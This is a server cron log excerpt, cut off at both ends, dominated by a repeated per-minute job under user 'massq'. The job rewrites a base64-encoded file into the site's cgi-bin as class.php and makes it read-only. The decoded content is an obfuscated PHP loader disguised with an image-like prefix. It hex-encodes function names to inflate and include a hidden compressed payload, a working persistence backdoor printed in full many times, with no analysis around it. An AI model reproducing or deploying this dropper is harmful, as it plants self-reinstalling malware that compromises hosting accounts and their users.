QtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 12:54:01 server CROND[20722]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 12:55:01 server CROND[20868]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 12:55:01 server CROND[20869]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 12:55:01 server CROND[20870]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 12:56:01 server CROND[20974]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 12:57:01 server CROND[21041]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 10 12:57:01 server CROND[21042]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 12:58:01 server CROND[21107]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 12:59:01 server CROND[21185]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 13:00:01 server CROND[21352]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 13:00:01 server CROND[21350]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 13:00:01 server CROND[21353]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 10 13:00:01 server CROND[21351]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 13:01:01 server CROND[21472]: (root) CMD (run-parts /etc/cron.hourly)
Apr 10 13:01:01 server CROND[21473]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 13:01:01 server run-parts(/etc/cron.hourly)[21472]: starting 0anacron
Apr 10 13:01:01 server run-parts(/etc/cron.hourly)[21485]: finished 0anacron
Apr 10 13:02:01 server CROND[21543]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 13:03:01 server CROND[21656]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 13:04:01 server CROND[21718]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 13:05:01 server CROND[21780]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 13:05:01 server CROND[21782]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 13:05:01 server CROND[21781]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 10 13:05:01 server CROND[21783]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 13:06:01 server CROND[21982]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 13:07:01 server CROND[22043]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRk